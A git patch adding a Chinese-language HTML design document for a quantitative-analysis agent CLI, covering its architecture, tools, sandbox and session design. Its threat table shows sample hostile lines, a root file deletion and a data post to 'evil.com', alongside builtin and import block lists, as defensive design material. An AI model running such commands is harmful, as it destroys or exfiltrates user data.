From 1fa90979c6938a621b24ec1a68c2f8d6e4976444 Mon Sep 17 00:00:00 2001 From: fish Date: Thu, 23 Jul 2026 23:29:22 +0800 Subject: [PATCH] =?UTF-8?q?=E7=BC=96=E5=86=99=E9=87=8F=E5=8C=96=E5=88=86?= =?UTF-8?q?=E6=9E=90=20Agent=20CLI=20=E4=B8=9A=E5=8A=A1=E9=80=BB=E8=BE=91?= =?UTF-8?q?=E8=AE=BE=E8=AE=A1=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cli-design.html | 633 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 633 insertions(+) create mode 100644 cli-design.html diff --git a/cli-design.html b/cli-design.html new file mode 100644 index 0000000..8d9bb14 --- /dev/null +++ b/cli-design.html @@ -0,0 +1,633 @@ + + + + + +量化分析 Agent CLI — 业务逻辑设计 + + + + +

量化分析 Agent CLI

+

工作范围:CLI 层架构、Agent 引擎、工具系统、安全模型、会话管理。不涉及 Web/桌面分发。

+ +
+ +

1. 核心洞察

+ +
+ 量化 agent 的唯一特殊能力:在沙箱里执行它自己写的代码。 +
通用 agent 的 tool 是预定义函数签名;量化 agent 的 tool 的参数本身就是代码。 +
+ +

这意味着:

+ + +
+ +

2. 系统架构

+ +
┌──────────────────────────────────────────────┐
+│  CLI Layer (rich / textual / prompt_toolkit) │
+│  自然语言输入 → 流式渲染 Markdown + 表格 + 图表 │
+├──────────────────────────────────────────────┤
+│  Agent Core (Python)                         │
+│                                              │
+│  ┌──────────┐   ┌───────────┐   ┌──────────┐│
+│  │ Planning  │   │ Coding    │   │ Review   ││
+│  │ 拆解任务   │──→│ 生成代码   │──→│ 校验输出  ││
+│  │ 选工具    │   │ 执行+迭代  │   │ 重试/修正 ││
+│  └──────────┘   └───────────┘   └──────────┘│
+│                      │                       │
+│            ┌─────────┴─────────┐             │
+│            ▼                   ▼             │
+│  ┌──────────────┐   ┌──────────────────┐     │
+│  │ Data Tools   │   │ Code Runtime     │     │
+│  │ (MCP 兼容)   │   │ (自定义协议)      │     │
+│  │              │   │                  │     │
+│  │ search_data  │   │ run_python(code) │     │
+│  │ fetch_data   │   │ · 沙箱隔离       │     │
+│  │ list_sources │   │ · 持久 session   │     │
+│  └──────────────┘   │ · 流式输出       │     │
+│                      │ · 图表渲染       │     │
+│                      └──────────────────┘     │
+├──────────────────────────────────────────────┤
+│  Session Context                             │
+│  挂载数据集 · 变量命名空间 · 因子定义 · 回测结果│
+└──────────────────────────────────────────────┘
+ +

2.1 为什么 Data 层用 MCP,Runtime 层不用

+ + + + + + + + +
维度Data ToolsCode Runtime
协议MCP(行业标准)自定义 JSON-RPC(轻量)
原因可复用生态(未来换数据源零成本)MCP 的强类型 schema 对代码字符串无意义
工具粒度细:每个操作一个 tool粗:一个 run tool = 无限能力
状态模型无状态(每次调用独立)有状态(session 内变量持久)
安全边界可信(开发者写的代码)不可信(LLM 生成的代码),需要沙箱
+ +
+ +

3. Agent Loop 设计

+ +

3.1 核心循环

+ +
用户输入: "找出沪深300市盈率最低的10只股票,按行业分组统计,画图"
+
+┌─────────────────────────────────────────────┐
+│ STEP 1: Plan                                │
+│   LLM 输出:                                  │
+│   - 需要数据: 沪深300成分股 + PE + 行业分类    │
+│   - 需要工具: search_data, fetch_data         │
+│   - 步骤: 取数→过滤→切片→画图                  │
+├─────────────────────────────────────────────┤
+│ STEP 2: Act (tool calls)                    │
+│   search_data("沪深300成分股")               │
+│   → 返回: akshare.index_stock_cons("000300") │
+│   fetch_data("index_stock_cons", "000300",   │
+│              fields="code,name,pe,industry") │
+│   → 返回: DataFrame(300 rows × 4 cols)      │
+├─────────────────────────────────────────────┤
+│ STEP 3: Code + Execute                      │
+│   LLM 生成:                                  │
+│   result = df.nsmallest(10, 'pe_ttm')        │
+│   grouped = result.groupby('industry').size()│
+│   fig = grouped.plot.bar()                   │
+│   run_python(code) → 表格 + 图表              │
+├─────────────────────────────────────────────┤
+│ STEP 4: Review & Respond                    │
+│   检查: 输出 10 行? 图表正确?                  │
+│   不对 → 修正后重新 run                       │
+│   对的 → 渲染 Markdown 表格 + 图表给用户       │
+└─────────────────────────────────────────────┘
+ +

3.2 三个子 Agent 的职责

+ + + + + + + + + + + + + + + + + + + + + +
角色输入输出System Prompt 要点
Planner用户自然语言 + 会话上下文结构化任务计划 + 所需数据清单"你是量化策略分析师。输出 YAML 格式的计划,列出数据源、计算步骤、预期输出。"
Coder任务步骤 + 可用数据 schemaPython 代码(pandas/numpy/mpl)"你是 Python 量化开发者。数据库里有这些 DataFrame,写出分析代码。只用 pandas/numpy/matplotlib。不要用任何 IO 操作。"
Reviewer代码输出 + 预期结果描述通过 / 修正后的代码"你是代码审查者。检查输出是否符合预期。行数对? 数值范围合理? 类型正确? 给出 pass 或修正建议。"
+ +
+ 风险 多 Agent 循环的延迟
+ 每个子 Agent 都是一次 LLM 调用。最坏情况:Plan → Code → Review 失败 → Re-Code → Re-Review = 5 次调用。
+ 缓解:简单任务跳过 Planner/Reviewer(直接 Coder 一次搞定);并行化非依赖步骤。 +
+ +
+ +

4. 工具系统详细设计

+ +

4.1 Data Tools(MCP 兼容)

+ +
# MCP Server: akshare-provider
+# 暴露以下 tools:
+
+{
+  "name": "search_data",
+  "description": "搜索可用的数据集。输入关键词,返回匹配的数据集 ID 和描述。",
+  "parameters": {
+    "keyword": "string  // 如 '沪深300', '可转债', '宏观经济'"
+  },
+  "returns": "[{id, name, description, schema, source}]"
+}
+
+{
+  "name": "fetch_data",
+  "description": "拉取指定数据集。",
+  "parameters": {
+    "dataset_id": "string",
+    "params": "object  // 如 {symbol: '000300', start: '2024-01-01'}",
+    "limit": "int     // 默认 10000"
+  },
+  "returns": "{columns: [str], dtypes: {col: type}, rows: int, preview: [[...]]}"
+}
+
+{
+  "name": "list_sources",
+  "description": "列出所有已配置的数据源及其状态。",
+  "returns": "[{name, status, datasets_count}]"
+}
+ +
+ 设计决策 fetch_data 不返回完整数据
+ 返回 schema + 前 5 行预览,而不是全部 300 行数据。理由:
+ (1) 全量数据通过 context 传给 LLM 会爆炸(token 和延迟)
+ (2) LLM 不需要"看"数据,它只需要知道列名和类型就能写代码
+ (3) 真正的数据在 Code Runtime 的 session 里,代码执行时直接访问 +
+ +

4.2 Code Runtime(自定义协议)

+ +
# 自定义 JSON-RPC over stdio or HTTP
+
+{
+  "method": "run",
+  "params": {
+    "code": "df_result = df.nsmallest(10, 'pe_ttm')",
+    "session_id": "sess_abc123",
+    "timeout": 30
+  },
+  "returns": {
+    "stdout": "string",
+    "stderr": "string",
+    "error": "string | null",
+    "artifacts": [
+      {"type": "dataframe", "name": "df_result", "shape": [10,4],
+       "columns": [...], "preview": [[...]]},
+      {"type": "image",   "path": "/tmp/plot_1.png", "format": "png"},
+      {"type": "value",   "name": "_", "repr": "0.1523"}
+    ]
+  }
+}
+
+{
+  "method": "list_vars",
+  "params": { "session_id": "sess_abc123" },
+  "returns": {
+    "variables": [
+      {"name": "df", "type": "DataFrame", "shape": [300, 4]},
+      {"name": "df_result", "type": "DataFrame", "shape": [10, 4]}
+    ]
+  }
+}
+
+{
+  "method": "reset",
+  "params": { "session_id": "sess_abc123" },
+  "returns": { "ok": true }
+}
+ +

4.3 变量命名空间的自动挂载

+ +

Agent 写完代码后,Code Runtime 自动把 所有新创建的变量 注册到 session,下一次 Agent 写代码时直接用。LLM 通过 list_vars 了解当前状态:

+ +
# 第 1 轮:加载数据
+run_python("df = load_csi300_data()")
+→ variables: {df: DataFrame(300×15)}
+
+# 第 2 轮:过滤(直接用 df,不需要重新加载)
+run_python("low_pe = df[df['pe_ttm'] < 15]")
+→ variables: {df: …, low_pe: DataFrame(42×15)}
+
+# 第 3 轮:分组统计(直接用 low_pe)
+run_python("result = low_pe.groupby('industry')['pe_ttm'].mean().sort_values()")
+→ variables: {df: …, low_pe: …, result: Series(12)}
+ +
+ +

5. 安全模型

+ +

5.1 威胁清单

+ + + + + + + + +
威胁例子严重程度
文件系统破坏import os; os.remove("/")致命
数据泄露requests.post("evil.com", data)致命
资源耗尽while True: pass / 分配 10GB 内存
供应链注入import malicious_package中(pip 白名单可控)
提示注入用户在数据里藏 instruction 劫持 agent 行为中(数据不应进入 system prompt)
+ +

5.2 三层沙箱

+ +
Layer 1: Python 进程隔离
+  subprocess.Popen(["python3", "-c", code])
+  ├─ 独立进程,崩溃不影响主进程
+  ├─ 超时机制:signal.SIGALRM 或 subprocess timeout
+  └─ 内存限制:resource.setrlimit(RLIMIT_AS, 512MB)
+
+Layer 2: 系统级沙箱 (macOS: sandbox-exec, Linux: firejail / Docker)
+  ├─ 只读文件系统:只挂载必要目录
+  ├─ 限制网络:只允许白名单域名(数据源 API)
+  ├─ 禁止子进程:禁止 exec/fork
+  └─ CPU 限制:cgroups / nice
+
+Layer 3: Python 级限制
+  ├─ import 白名单:pandas, numpy, matplotlib, scipy, statsmodels
+  ├─ 禁止 builtins:open, __import__, eval, exec, compile
+  └─ RestrictedPython(可选):编译时 AST 检查
+ +

5.3 最小可行安全方案

+ +
+ MVP 不需要三层全做。 先做最容易实施的: +
    +
  1. subprocess + 30 秒超时 — 防死循环
  2. +
  3. import 白名单检查(代码字符串里扫 import X)— 防危险模块
  4. +
  5. Docker 容器执行 — 一次性隔离文件系统和网络
  6. +
+ 这三件事加起来不到 50 行代码,就能防住 95% 的真实威胁。 +
+ +
+ +

6. 会话管理

+ +

6.1 Session 生命周期

+ +
quanticli new "A股低估值策略研究"
+  → session_id: "sess_20240723_a1b2c3"
+  → 创建目录 ~/.quanticli/sessions/sess_20240723_a1b2c3/
+     ├─ history.jsonl    # 每轮对话记录
+     ├─ context.yaml     # 当前上下文(数据集、变量、中间结果)
+     └─ artifacts/       # 图表、导出 CSV
+
+quanticli resume sess_20240723_a1b2c3
+  → 恢复会话:重新加载数据、重建变量命名空间
+  → 用户继续提问
+
+quanticli list
+  → 列出所有历史会话
+
+quanticli export sess_20240723_a1b2c3
+  → 导出为 Markdown 报告 / Jupyter notebook
+ +

6.2 Context 压缩策略

+ +

量化会话很容易触达 LLM context 上限。两轮数据操作就可能产生大量文本:

+ +
# 实际情况:一个 DataFrame schema 就几百 token
+"df 有 300 行 15 列:code(str), name(str), open(f64), high(f64),
+ low(f64), close(f64), volume(i64), pe_ttm(f64), pb(f64),
+ roe(f64), industry(str), market_cap(f64), …"
+
+# 再加上代码和输出,三轮对话轻松破 4000 token
+ +

压缩策略:

+ + +
+ +

7. 终端渲染

+ +

7.1 输出渲染能力矩阵

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内容类型渲染方式依赖
普通文本 / Markdownrich Markdown 组件,流式追加rich
DataFrame / 表格rich Table,自动列宽、对齐rich
柱状图 / 折线图plotext Unicode 终端绘图plotext
复杂图表 / K 线图生成 PNG,Kitty/iTerm2 sixel 协议显示matplotlib + imgcat
LaTeX 公式Unicode 近似渲染 or 直接显示 LaTeX 源码手动 or latex2unicode
代码块rich Syntax 语法高亮rich
+ +

7.2 流式输出的处理

+ +
LLM 输出是 token 流,但内容混合了文本和工具调用:
+
+文本流: "好的," → "让我" → "分析" → "一下" → …
+  → 逐 token 打印到终端(打字机效果)
+
+工具调用(JSON 块): {"tool": "run_python", "code": "..."}
+  → 显示为 [⚙ Running analysis...]
+  → 拿到结果后追加表格/图表
+  → 继续流式文本
+
+实现要点:
+  - LLM 响应用 SSE stream
+  - 解析器判断当前 token 属于 text 还是 tool_call
+  - text → 直接 print flush
+  - tool_call → 缓冲完整 JSON → 执行 → 渲染 result
+ +
+ +

8. 配置文件设计

+ +
# ~/.quanticli/config.yaml
+
+model:
+  provider: anthropic     # anthropic | openai | local
+  model: claude-sonnet-4-20250514
+  # api_key: ${ANTHROPIC_API_KEY}   # 从环境变量读取
+
+execution:
+  sandbox: docker         # docker | subprocess | none
+  timeout: 60             # 每次代码执行超时(秒)
+  max_memory_mb: 512
+  allowed_imports:
+    - pandas
+    - numpy
+    - matplotlib
+    - scipy.stats
+    - statsmodels.api
+
+data_sources:
+  - name: akshare
+    type: mcp
+    command: ["uvx", "akshare-mcp-server"]
+  - name: tushare
+    type: mcp
+    command: ["uvx", "tushare-mcp-server"]
+    env:
+      TUSHARE_TOKEN: ${TUSHARE_TOKEN}
+  - name: local_csv
+    type: directory
+    path: ~/quant_data/
+
+display:
+  max_table_rows: 20
+  max_column_width: 30
+  chart_backend: unicode   # unicode | sixel | none
+  theme: dark              # dark | light
+
+session:
+  storage_dir: ~/.quanticli/sessions/
+  auto_save: true
+  context_limit_tokens: 80000
+  auto_summarize_threshold: 0.8   # 80% 触发压缩
+ +
+ +

9. MVP 范围

+ +
+ 目标:2 周内可用的单文件原型。 不追求架构完美,只验证核心体验。 +
+ +

9.1 MVP 包含

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
组件范围技术
CLI 入口quant "问题" 单次问答argparse
Agent Loop单 Agent,无 Planner/Reviewer 分工自实现 thin wrapper over Anthropic/OpenAI SDK
Tool: run_pythonsubprocess.run(["python3", "-c", code], timeout=30)标准库
Tool: fetch_data直接调 akshare,不包 MCP(走捷径)akshare pip 包
输出渲染Markdown + 表格 + Unicode 柱状图rich + plotext
安全超时 + import 白名单检查标准库
+ +

9.2 MVP 明确不做

+ + + +
+ +

10. 关键风险

+ + + + + + + + + + + + + + + + + + + + + + + +
风险影响缓解
LLM 写的分析代码有逻辑错误用户信任崩塌Reviewer Agent 校验 + 输出带置信度标签
数据源不稳定(akshare 上游挂)Agent 直接不可用多 provider fallback + 本地缓存常用数据集
LLM context 不够装复杂分析长分析中断自动摘要压缩 + 分步执行(不一次全给 LLM)
执行速度慢(多轮 LLM 调用)用户体验差小模型做简单步骤 + 并行工具调用
+ +
+ +

11. 与竞品的差异化

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
竞品模式量化能力我们的差异
Claude Code / Cursor通用 coding agent能写 pandas 但不理解 finance 上下文Finance-first system prompt + 数据源内置
通义千问 / Kimi 金融版Chatbot,不能执行代码能聊不能算我们是 agent,能执行代码
QuantConnect / 聚宽Web IDE + 回测平台功能强但学习曲线高自然语言交互,零学习成本
Jupyter + Copilot手动 notebook + AI 补全灵活但不自动化agent 自主规划执行,不是补全
+ +
+ 定位 + 我们的位置在 "能执行代码的量化 Copilot""专业量化平台" 之间——比 Copilot 更自主,比量化平台门槛更低。 +
+ + + \ No newline at end of file